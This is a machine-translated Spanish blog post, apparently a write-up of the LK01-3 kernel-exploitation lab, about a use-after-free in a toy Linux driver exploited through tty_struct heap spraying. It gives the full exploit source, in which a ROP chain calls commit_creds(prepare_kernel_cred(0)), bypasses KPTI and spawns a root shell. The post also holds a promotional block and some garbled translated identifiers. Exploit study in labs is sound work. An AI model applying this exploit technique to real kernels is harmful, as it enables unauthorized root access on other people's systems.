Implementar una escalada de privilegios mediante la reutilización de estructuras TTY

Prefacio

UAFEs una vulnerabilidad común en el modo de usuario. También hay vulnerabilidades en el kernel UAF. Estas vulnerabilidades son causadas por un manejo inadecuado del espacio liberado, lo que hace que los bloques de montón liberados aún se utilicen.

LK01-3

UAFMire las lagunas según el tema.

Dirección del proyecto: https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3

módulo abierto

Al ejecutar openel módulo, se asigna un espacio de almacenamiento dinámico de tamaño 0x400y la dirección se almacena g_bufen

#define BUFFER_SIZE 0x400

char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file)
{
    
    
  printk(KERN_INFO "module_open called\n");

  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    
    
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

leer módulo

En el módulo de lectura, 0x400los bytes se leen desde el espacio del usuario al g_bufespacio del montón de ejecución.

static ssize_t module_read(struct file *file,
                           char __user *buf, size_t count,
                           loff_t *f_pos)
{
    
    
  printk(KERN_INFO "module_read called\n");

  if (count > BUFFER_SIZE) {
    
    
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }

  if (copy_to_user(buf, g_buf, count)) {
    
    
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }

  return count;
}

escribir módulo

En el módulo de escritura, 400los datos de bytes se copian del espacio del usuario al espacio del montón del kernel.

static ssize_t module_write(struct file *file,
                            const char __user *buf, size_t count,
                            loff_t *f_pos)
{
    
    
  printk(KERN_INFO "module_write called\n");

  if (count > BUFFER_SIZE) {
    
    
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }

  if (copy_from_user(g_buf, buf, count)) {
    
    
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }

  return count;
}

cerrar módulo

closeEl módulo liberará g_bufel espacio del montón señalado

static int module_close(struct inode *inode, struct file *file)
{
    
    
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  return 0;
}

Análisis de vulnerabilidad

La longitud está limitada en los módulos de lectura y escritura 0x400, lo que es consistente con el tamaño del espacio del montón asignado al principio, por lo que, a diferencia de LK01-2, no existe una vulnerabilidad de desbordamiento del montón. Sin embargo, es la única variable utilizada para almacenar la dirección del montón openen el módulo g_bufy no hay límite en el número de veces. Llamar al openmódulo varias veces dará como resultado múltiples punteros que apuntan a la misma memoria. Si se libera la memoria, causará UAFuna vulnerabilidad. La siguiente figura muestra UAFel proceso de construcción de una vulnerabilidad.

imagen-20230911210004615

Cuando g_bufse libera espacio fd2y también se puede controlar a través del descriptor de archivo g_buf, la pregunta es cómo secuestrar el flujo del programa. Dado que el espacio del montón se slabasigna a través del asignador y slabse puede almacenar en caché, se g_bufcolocará en el caché después de que se libere. ., y g_bufel tamaño es consistente 0x400con ttyla estructura, por lo que en este momento se garantiza g_bufque se asignará a ttyla estructura mediante pulverización en montón. El código construido uafes el siguiente.

...
	int fd1 = open("/dev/holstein", O_RDWR);
	int fd2 = open("/dev/holstein", O_RDWR);
	close(fd1);
	for (int i = 0; i < 50; i++)
	{
    
    
		spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
		if (spray[i] == -1)
		{
    
    
			printf("error!\n");
			exit(-1);
		}
	}
...

Tengo una duda aquí. La función en el módulo closesolo libera g_bufla memoria del montón y no tiene operaciones posteriores. Por lo tanto, después de la ejecución, ¿ se puede operar close(fd1)el descriptor de archivo ? Más tarde, después de las pruebas, se descubrió que no era posible. Después fd1Al consultar los datos, obtuve que la eliminación de descriptores de archivos es la operación predeterminada del kernel y no tiene nada que ver con la operación de redefinición de módulos close.

Para ayudar a los estudiantes de seguridad de redes a aprender, obtenga un conjunto completo de materiales de forma gratuita:
① Mapa mental de la ruta de crecimiento y aprendizaje de seguridad de redes
② Más de 60 kits de herramientas clásicos de seguridad de redes
③ Más de 100 informes de análisis SRC
④ Más de 150 programas electrónicos de tecnología práctica de defensa y ataques de seguridad de redes libros
⑤ La guía de examen de certificación CISSP más autorizada + banco de preguntas
⑥ Más de 1800 páginas del manual de habilidades prácticas de CTF
⑦ La última colección de preguntas de entrevistas de las principales empresas de seguridad de redes (incluidas las respuestas)
⑧ Guía de detección de seguridad del cliente de la aplicación (Android + IOS)

Después de construir UAFla vulnerabilidad y realizar la pulverización del montón, la operación real g_bufapunta a ttyla estructura. El desplazamiento de la estructura 0x18es el puntero de operación de una tabla de funciones. Luego, la tabla de funciones se puede modificar en una tabla de funciones personalizada. Las operaciones posteriores son LK01-3consistentes con la operación del puntero: la operación del puntero se modifica para moverse de la pila al montón y luego ejecutarse commit_creds(prepare_kernel_cred(0)), utilizando la protección swapgs_restore_regs_and_return_to_usermodeomitida .kpti

correr.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
    -no-reboot \
    -cpu qemu64,+smap,+smep \
    -smp 1 \
    -monitor /dev/null \
    -initrd initramfs.cpio.gz \
    -net nic,model=virtio \
    -net user \
    -s

Exp

#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
int spray[100];

//0xffffffff8114fbe8: add al, ch; push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret; 
//0xffffffff8114078a: pop rdi; ret;
//0xffffffff81638e9b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 
//0xffffffff810eb7e4: pop rcx; ret;
//0xffffffff81072560 T prepare_kernel_cred
//0xffffffff810723c0 T commit_creds
//0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode

#define push_rdx_pop_rsp_offset 0x14fbe8
#define pop_rdi_ret_offset 0x14078a
#define pop_rcx_ret_offset 0xeb7e4
#define prepare_kernel_cred_offset 0x72560
#define commit_creds_offset 0x723c0
#define swapgs_restore_regs_and_return_to_usermode_offset 0x800e10
#define mov_rdi_rax_offset  0x638e9b

unsigned long user_cs, user_sp, user_ss, user_rflags;



void backdoor()
{
    
    
	printf("****getshell****");
	system("id");
	system("/bin/sh");
}

void save_user_land()
{
    
    
	__asm__(
		".intel_syntax noprefix;"
		"mov user_cs, cs;"
		"mov user_sp, rsp;"
		"mov user_ss, ss;"
		"pushf;"
		"pop user_rflags;"
		".att_syntax;"
	);
	puts("[*] Saved userland registers");
	printf("[#] cs: 0x%lx \n", user_cs);
	printf("[#] ss: 0x%lx \n", user_ss);
	printf("[#] rsp: 0x%lx \n", user_sp);
	printf("[#] rflags: 0x%lx \n", user_rflags);
	printf("[#] backdoor: 0x%lx \n\n", backdoor);
}


int main() {
    
    
	save_user_land();
	int fd1 = open("/dev/holstein", O_RDWR);
	int fd2 = open("/dev/holstein", O_RDWR);
	close(fd1);
	for (int i = 0; i < 50; i++)
	{
    
    
		spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
		if (spray[i] == -1)
		{
    
    
			printf("error!\n");
			exit(-1);
		}
	}
	char buf[0x400];
	read(fd2, buf, 0x400);
	unsigned long *p = (unsigned long *)&buf;
	//for (unsigned int i = 0; i < 0x80; i++)
	//	printf("[%x]:addr:0x%lx\n",i,p[i]);
	unsigned long kernel_addr = p[3];
	unsigned long heap_addr = p[7];
	printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr);
	unsigned long kernel_base = kernel_addr - 0xc39c60;
	unsigned long g_buf = heap_addr - 0x38;
	printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf);
	*(unsigned long *)&buf[0x18] = g_buf;
	p[0xc] = push_rdx_pop_rsp_offset + kernel_base;
	//for (unsigned long i = 0xd; i < 0x80; i++)
	//	p[i] = i;
	p[0x21] = pop_rdi_ret_offset + kernel_base;
	p[0x22] = 0;
	p[0x23] = prepare_kernel_cred_offset + kernel_base;
	p[0x24] = pop_rcx_ret_offset + kernel_base;
	p[0x25] = 0;
	p[0x26] = mov_rdi_rax_offset + kernel_base;
	p[0x27] = commit_creds_offset + kernel_base;
	p[0x28] = swapgs_restore_regs_and_return_to_usermode_offset + 0x16 + kernel_base;
	p[0x29] = 0;
	p[0x2a] = 0;
	p[0x2b] = (unsigned long)backdoor;
    p[0x2c] = user_cs;
    p[0x2d] = user_rflags;
    p[0x2e] = user_sp;
    p[0x2f] = user_ss;  
	write(fd2, buf, 0x400);
	for (int i = 0; i < 50; i++)
		ioctl(spray[i], 0, g_buf+0x100);	
		
}

Supongo que te gusta

Origin blog.csdn.net/qq_38154820/article/details/133137230
Recomendado
Clasificación